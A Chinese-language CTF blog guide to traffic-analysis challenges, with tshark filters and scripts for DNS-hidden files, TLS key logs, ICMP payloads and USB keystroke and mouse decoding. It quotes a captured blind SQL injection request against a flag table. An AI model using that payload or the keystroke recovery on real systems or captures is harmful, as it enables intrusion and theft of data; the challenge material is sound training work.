其他
原创 | CTF流量包题目总结
关注我们
总的来说有以下几个步骤
总体把握协议分级端点统计过滤筛选过滤语法Host，Protocol，contains，特征值发现异常特殊字符串协议某字段flag 位于服务器中数据提取字符串取文件总的来说比赛中的流量分析可以概括为以下三个方向:
流量包修复协议分析数据提取流量分析使用的协议：
流量包修复
修复地址:https://f00l.de/hacking/pcapfix.php
修复软件:链接：https://pan.baidu.com/s/138c9sAfTLml-z0cziez3Wg?pwd=1234
提取码：1234
tshark
什么是tshark?
工具地址
windows的wireshark自带
tshark使用
tshark -r file -T fields —Y 指定过滤器 -e 提取的内容 > 指定输出的附件右击-作为过滤器应用-选中
左上角会出现
tshark -r key.pcapng -T fields -e usb.capdata提取之后会发现数据里有大量的换行符，可以使用（当然这是linux命令只能应用于linux）
tshark -r key.pcapng -T fields -e usb.capdata | sed '/^\s*$/d'wireshark使用
追踪流
过滤器
左上角的应用过滤器，可以直接在上面输入想要过滤的内容，比如只想看http的包，那么直接输入http
协议分级
conversations
导出对象
常见题型总结
flag写在数据流里
经验总结
以前的简单的流量分析，会将flag利用base加密等直接放在数据包里，现在这种题目的flag一般就是按规律排列成一列存放在某个包，一般是udp协议。zsteg -a 2-3.bmp解密得到pcapng追踪tcp流发现flag（蓝色||$前的字符）
flag{a4e0a418-fced-4b2d-9d76-fdc9053d69a1}纯流量分析
经验总结
我把不依赖任何附件的流量包题目称为纯流量分析，这类题目一般出现在大型比赛，传输方式比较新颖。这类题目就是依靠各个协议传输的信息相互结合，依靠出题人留下的线索解出题目。例如2021BytesCTF frequently和2021深育杯flow hunter例题
得到
se1f_wIth_m1sc^_^}然后一直往后看，在第68个流发现png的base64加密后的数据
继续往后看发现多个一样的数据，传输图片无疑了。
通过观察可以发现这部分数据的源地址和目的地址都是相同的可以先通过这个过滤
ip.src==10.2.173.238 and ip.dst==8.8.8.8这样其实能提取大部分的数据包了，但是往下翻能发现。
所以过滤出这部分数据有两种方式
udp.length == 50 and ip.src == 10.2.173.238 and ip.dst==8.8.8.8或者通过包的名字的长度 dns.qry.name.len
ip.src==10.2.173.238 and ip.dst==8.8.8.8 and dns.qry.name.len==24通过tshark提取数据，-Y指定过滤器内容，-e指定输出内容
tshark -r .\frequently.pcap -T fields -Y "udp.length == 50 and ip.src == 10.2.173.238 and ip.dst==8.8.8.8" -e dns.qry.nametshark -r .\frequently.pcap -T fields -Y "udp.length == 50 and ip.src == 10.2.173.238 and ip.dst==8.8.8.8" -e dns.qry.name > fre.txt用winodws终端这样输出的话内容为gbk的方式(可以直接粘贴)，所以可以用kali终端输出到txt。这样提取出来的数据转图片还是有问题的，仔细看过滤出来的包
from base64 import *
with open('dns.txt', 'r') as f: lines = f.readlines()# print(lines) sorted_lines = sorted(set(lines), key=lines.index)# print(sorted_lines) base64_data = '' for line in sorted_lines: base64_data += line[:10]
with open('flag.png', 'wb') as f1: f1.write(b64decode(base64_data))print(base64_data)但是这张图片没有给我们任何信息，想到过滤的时候还漏掉了一部分数据
dns.qry.name.len==15 and ip.src == 10.2.173.238 and ip.dst==8.8.8.8import rewith open('bin_data.txt','r') as f: strings = f.readlines() sorted_list = sorted(set(strings), key=strings.index) flagstr = '' for i in sorted_list: # print(type(i[0]))
if i[0] == 'o': flagstr += '0' else: flagstr += '1' # print(flagstr)print(len(flagstr)/8)dd = re.findall(r'.{8}',flagstr)print(dd)flag = ''for i in dd: flag += chr(int(i,2))print(flag)The first part of flag: ByteCTF{^_^enJ0y&y0ur合起来得到
ByteCTF{^_^enJ0y&y0urse1f_wIth_m1sc^_^}secret?5=flog{becareful_rainbow_bubble}
所以考点可能出现在dns协议，并且出现在部分域名为rainbow_bunbble的包里通过观察可以发现，部分域名为rainbow_bunbble的包的目的端口为53
所以可以通过这个特点来过滤包
这样包其实就分成了两部分，一部分是域名一样的，另一部分是红框里框出来的，可以发现内容正好为png的文件头，89504e47
所以提取的思路就是，要提取的内容为dns.qry.name，条件就是目的端口为53也就是 udp.dst==53,所以tshark语句为
tshark -r wireshark.pcap -T fields -e dns.qry.name -Y 'udp.dstport==53' > data.txt将多余的数据删掉txt = open('data.txt','r').read()txt = txt.replace('43.9.227.10.in-addr.arpa','')txt = txt.split('\n')res = ''for i in txt: if i == '': pass else: res += str(i[-16])
print(res)010保存打开
89504E470D0A1A0A0000000D494844520000005400000054010300000026A5828200000006504C5445FFFFFF00000055C2D37E0000000174524E530040E6D866000000097048597300000EC400000EC401952B0E1B0000006E494441542891A592D10940210C03030EE048AEEE481D40C84B6D79031829E5BE0E13C599BB073019B9C9B098DC2316A0B1583669476084C572EA56982CFF3BC792B69D06ABEA3A0726AF6CDEDFF366ECCE1D263263391DDEAABD331AACCEF33BDD1774F854BAAEFD9DF99F70F8035E0ADDD615BC9DA70000000049454E44AE426082ecb_pkcs7这个秘钥正好是 AES的ECB-pkcs7-256模式，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_HANDSHAKE_TRAFFIC_SECRET 137f16f427985d857e067b4fd3bd5402e9fd5ec906055871bf28277b611d9c5c 28217a6fd7929e49b0ade15e376a21e3a3df53196654ccda04445fdeca157343 SERVER_HANDSHAKE_TRAFFIC_SECRET 137f16f427985d857e067b4fd3bd5402e9fd5ec906055871bf28277b611d9c5c db964f3464d3cee88100c5e429ed65402660b56a84127ce4b8806ee690543d2d CLIENT_HANDSHAKE_TRAFFIC_SECRET 0b4fb220affbcef39618d220d5486133a6d5052b2bf904f8622651fbc38678cb 09b0a9d636bb229b8c359ce987857e5c423996ef60879a366b403dcc93f35f52 SERVER_HANDSHAKE_TRAFFIC_SECRET 0b4fb220affbcef39618d220d5486133a6d5052b2bf904f8622651fbc38678cb 66d8a8a2711968c04153bb5f990c3709f9b5d16cd9c58f2009b3498fd950c63e CLIENT_TRAFFIC_SECRET_0 137f16f427985d857e067b4fd3bd5402e9fd5ec906055871bf28277b611d9c5c b6f6123d1a42a4cb2c018b8ff7fa728d283703af0d122f521e3dcd97df4e8414 SERVER_TRAFFIC_SECRET_0 137f16f427985d857e067b4fd3bd5402e9fd5ec906055871bf28277b611d9c5c c6422b91b04251001fce99d35db7c376297257221836d19e4f9ae93e5afad357 EXPORTER_SECRET 137f16f427985d857e067b4fd3bd5402e9fd5ec906055871bf28277b611d9c5c b443daf04fbbdf64fe725a911c379e4df00c7df17d2e52567e5bff4d09d33220 CLIENT_TRAFFIC_SECRET_0 0b4fb220affbcef39618d220d5486133a6d5052b2bf904f8622651fbc38678cb c7202d688e7969ce50040054066603fd7c0668437dca550ab21adc1f985d6eac SERVER_TRAFFIC_SECRET_0 0b4fb220affbcef39618d220d5486133a6d5052b2bf904f8622651fbc38678cb 0c727c1948914a34842df2b168fa1006f3de27c5b2f8542d283d421bd4eae346 EXPORTER_SECRET 0b4fb220affbcef39618d220d5486133a6d5052b2bf904f8622651fbc38678cb e1460bb32f804d8dfcbd318bf8d9d1f5abdd59970d6c6d0cc188568205487e44 CLIENT_HANDSHAKE_TRAFFIC_SECRET dbf6b8159689f89a7207cbdd8b0c6063c92e39062d508b741c9252aea74651fa cb1a589f050efbfc953edacc346d9fda7cb9838f17be93cb5333c013692a1e2b2a3ffdd121e5f2723788bc061f3ba477 SERVER_HANDSHAKE_TRAFFIC_SECRET dbf6b8159689f89a7207cbdd8b0c6063c92e39062d508b741c9252aea74651fa 713ac5e1a42c8912f327f317d4e6524663e46fdd68982b264d89a10c4fb9d016de9e899cfe0f5604d8e0bea606356c5e CLIENT_HANDSHAKE_TRAFFIC_SECRET 897ebad2564d3b3928705680ac786a1c7ef3ea71e72de0f2d6b48b2af1897b89 74540257c2413c799359bb0332d85067a85eb1046f018a09509ada89cb7f94f815e1c94caa01417e0e03e3b658b5ea3f SERVER_HANDSHAKE_TRAFFIC_SECRET 897ebad2564d3b3928705680ac786a1c7ef3ea71e72de0f2d6b48b2af1897b89 5779a510ce777aa7d45dca823daa9a67b227fa9f1c903102ef0fcc5d2db0f245093e7f6590da85beff8e7197b02722b7 CLIENT_HANDSHAKE_TRAFFIC_SECRET 80192eea6317c32f14cc0af472472485c3cbfc46432652f882554f17cd23c680 02a6d140011aaaf45816e55838c35a31ca426c2ef093969e15385e60461b3513f4d025749496375f5923baa40fa9f915 SERVER_HANDSHAKE_TRAFFIC_SECRET 80192eea6317c32f14cc0af472472485c3cbfc46432652f882554f17cd23c680 78aff47910dd769ac05ab4af7970be977a1ea9fb93ee97e5f2e019d3ce0e9f03eb1336f0ed72e5fc4866367f240e9366 CLIENT_TRAFFIC_SECRET_0 80192eea6317c32f14cc0af472472485c3cbfc46432652f882554f17cd23c680 1e30da37782480334efdbc34a94e40d1771121162b71630181f4b0135eec064a3f8fac19203492982c43ea53c92c2b86 SERVER_TRAFFIC_SECRET_0 80192eea6317c32f14cc0af472472485c3cbfc46432652f882554f17cd23c680 db72e91cf285d17307ad0487b5ce7a45f8e545a463f396b9657fbffbc63daa7f70c37ecf2bd6205ac5d2534af412b9be EXPORTER_SECRET 80192eea6317c32f14cc0af472472485c3cbfc46432652f882554f17cd23c680 2493b3e3803ca1ef62952898e2067f37e22387568faf3e8f0072529156af662114508ea0dc3f0385680a81581d851e2b CLIENT_HANDSHAKE_TRAFFIC_SECRET f401e372d0ac12f84cdeef562b0d30d56120920659d62a2764cc9a39e71659f6 830fdef34900df22a30bed925c06a4c6db8d6f0d8999922d30d8146348d6a2926d11a4b16b706337b59c44bd0e73c1b1 SERVER_HANDSHAKE_TRAFFIC_SECRET f401e372d0ac12f84cdeef562b0d30d56120920659d62a2764cc9a39e71659f6 5eb65c2f2d3f1c6576707ea100a60c57ce749655ae8bef4c0dfdc62cccf8ed1f591f2dcf6102f9f811bf8003034350f0 CLIENT_HANDSHAKE_TRAFFIC_SECRET 526a9b23c7c53d050445cf4f75e36b4eb574242c1109833f8523fd1bc71aee30 81356894cbcf6296f5fafe0c6766871bf92562f1b1835810ccb8f80acdd6bd4b5195a1e4296d8ed556eff保存为sslkey.log导入
利用流量包传输图片、压缩包等
经验总结
这类题目我一般不把他们称为流量包，因为它们只是把流量包当做一个载体，真正要考察的还是流量传输的内容。这类题目有个坑点是在保存数据时要选择保存原始数据(也就是保存为16进制数据)，这样才能将文件的不可见字符保存出来。例题
攻防世界-Wireshark
57pmYywt在第十个流传输了一张png
在第十三个流发现同样的图片
一开始以为是lsb隐写加密，然后解密不成功，foremost一下流量包得到
虽然是一个不完整的html但是给了我们提示，搜索一下得到
其实在一开始的包里面也能发现是访问了这个网站，然后使用网站解密第二张png得到flag
十六进制转字符解密下得到flag
44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747DSQL注入流量分析
经验总结
sql注入的流量包一般是一个完整的注入过程，flag存储在某个字段里最后都有一个查询的过程，要么是时间盲注，要么是布尔盲注。如果是时间盲注就根据延时来判断flag字符，布尔盲注则根据返回值是否为真来判断。这类题目很简单，在现在大型CTF比赛已经看不到了，做这类题目只需了解sql注入基础就可轻松解出。
例题
buuctf-misc-sqltest
直接找到查询flag的部分，显示在最后
前面这个包是在查询flag的长度，后面开始逐步查询flag,分析一下sql语句
GET /index.php?act=news&id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1)),%201,%201))>100 HTTP/1.1\r\n
通过查看后面的几个包发现，这里是用了二分法进行查询
这里发了三个包，第一个是>101，返回为真，后两个都是>102为假，所以flag的第一位的ascii值就是102,后面就进行第2位flag的注入，所以102就是flag的第一位字符，从这里可以总结出经验就是，在切换查询第几位的前一个包的ascii码值就是flag的值。
根据规律得出flag的ascii码值，转字符即可
10210897103123525510110098565148481011005310257985056102995352984810048571019910010110255125USB流量
经验总结
常见的就是键盘鼠标流量，曾经在西湖论剑还出过手柄的流量。
遇到USB流量题目首先根据流量特点，要判断是键盘流量还是鼠标流量或者是其他的USB流量,鼠标流量可以配合gnuplot来进行画图
键盘流量
键盘流量长度一般是八个字节 第1个字节的作用主要是判断是否按下Shift，Alt，Control等键 第2个字节是保留位 第3~8个字节是普通按键，但击键信息集中在第 3 个字节。（如果遇到多个按键一起按的情况，这个时候3～8字节可能会被利用起来。）每一个数据包的数据区有四个字节（一般情况下） 第一个字节代表按键， 当取 0x00 时，代表没有按键 当取 0x01 时，代表按键为左键， 当取 0x02 时，代表按键为右键。 第二个字节可以看成是一个 signed byte 类型，其最高位为符号位，当这个值为正（小于127）时，代表鼠标水平右移多少像素，为负（补码负数，大于127小于255）时，代表水平左移多少像素。 第三个字节与第二字节类似，代表垂直上下移动的偏移。 第四个字节是拓展字节，代表滚轮数据 0 – 没有滚轮运动 ；1 – 垂直向上滚动一下 ；0xFF – 垂直向下滚动一下 2 – 水平滚动右键一次 ；0xFE – 水平滚动左键单击一下键盘流量脚本(取自盖乐希师傅博客)
normalKeys = { "04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9", "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t", "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\", "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".", "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>", "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>", "44":"<F11>","45":"<F12>"}shiftKeys = { "04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")", "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>", "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"", "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>", "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>", "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}output = []keys = open('filebbb.txt')for line in keys: try: if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00": continue if line[6:8] in normalKeys.keys(): output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2'] else: output += ['[unknown]'] except: pass
keys.close()
flag=0print("".join(output))for i in range(len(output)): try: a=output.index('<DEL>') del output[a] del output[a-1] except: pass
for i in range(len(output)): try: if output[i]=="<CAP>": flag+=1 output.pop(i) if flag==2: flag=0 if flag!=0: output[i]=output[i].upper() except: pass
print ('output :' + "".join(output))鼠标流量脚本
#!/usr/bin/env python# coding:utf-8
import sysimport osimport numpy as npimport matplotlib.pyplot as plt
mousePositionX = 0mousePositionY = 0
X = []Y = []
DataFileName = "usb.dat"data = []
def main(): global mousePositionX global mousePositionY # check argv if len(sys.argv) != 3: print "Usage : " print " python UsbMiceHacker.py data.pcap [LEFT|RIGHT|MOVE|ALL]" print "Tips : " print " To use this python script , you must install the numpy,matplotlib first." print " You can use `sudo pip install matplotlib numpy` to install it" print "Author : " print " WangYihang <wangyihanger@gmail.com>" print " If you have any questions , please contact me by email." print " Thank you for using." exit(1)
# get argv pcapFilePath = sys.argv[1] action = sys.argv[2]
if action != "LEFT" and action != "ALL" and action != "RIGHT" and action != "MOVE": action = "LEFT"
# get data of pcap command = "tshark -r %s -T fields -e usb.capdata > %s" % ( pcapFilePath, DataFileName) print command os.system(command)
# read data with open(DataFileName, "r") as f: for line in f: data.append(line[0:-1])
# handle move for i in data: Bytes = i.split(":") if len(Bytes) == 8: horizontal = 2 # - vertical = 4 # | elif len(Bytes) == 4: horizontal = 1 # - vertical = 2 # | else: continue offsetX = int(Bytes[horizontal], 16) offsetY = int(Bytes[vertical], 16) if offsetX > 127: offsetX -= 256 if offsetY > 127: offsetY -= 256 mousePositionX += offsetX mousePositionY += offsetY if Bytes[0] == "01": # print "[+] Left butten." if action == "LEFT": # draw point to the image panel X.append(mousePositionX) Y.append(-mousePositionY) elif Bytes[0] == "02": # print "[+] Right Butten." if action == "RIGHT": # draw point to the image panel X.append(mousePositionX) Y.append(-mousePositionY) elif Bytes[0] == "00": # print "[+] Move." if action == "MOVE": # draw point to the image panel X.append(mousePositionX) Y.append(-mousePositionY) else: # print "[-] Known operate." pass if action == "ALL": # draw point to the image panel X.append(mousePositionX) Y.append(-mousePositionY)
fig = plt.figure() ax1 = fig.add_subplot(111)
ax1.set_title('[%s]-[%s] Author : WangYihang' % (pcapFilePath, action)) ax1.scatter(X, Y, c='r', marker='o') plt.show()
# clean temp data os.system("rm ./%s" % (DataFileName))
if __name__ == "__main__": main()ICMP
经验总结
做流量包题目一般不会首先分析ICMP的包，当分析其他协议的数据包没有信息时，可以查看是不是利用ICMP隐藏了信息。
ICMP的数据包隐写一般也很有特点，就是传输HTML数据，在十六进制区域查看即可。(传输的可以是单个flag字符，加密的字符串的一部分，明文数据)例题
查看协议分级
from scapy.all import *
packets = rdpcap('1.pcapng') #rdpcap()读取pcapng文件for packet in packets: #遍历每一个数据包 if packet.haslayer(ICMP): #haslayer()判断数据包的类型，此处为ICMP if packet[ICMP].type == 0: #每一个ICMP的type值为0的包 print packet[ICMP].load[-8:] #打印每个数据包的最后8位，因为前面数据是重复flag{JustAS0ngAb0utP1ngP0ng}WIFI
经验总结
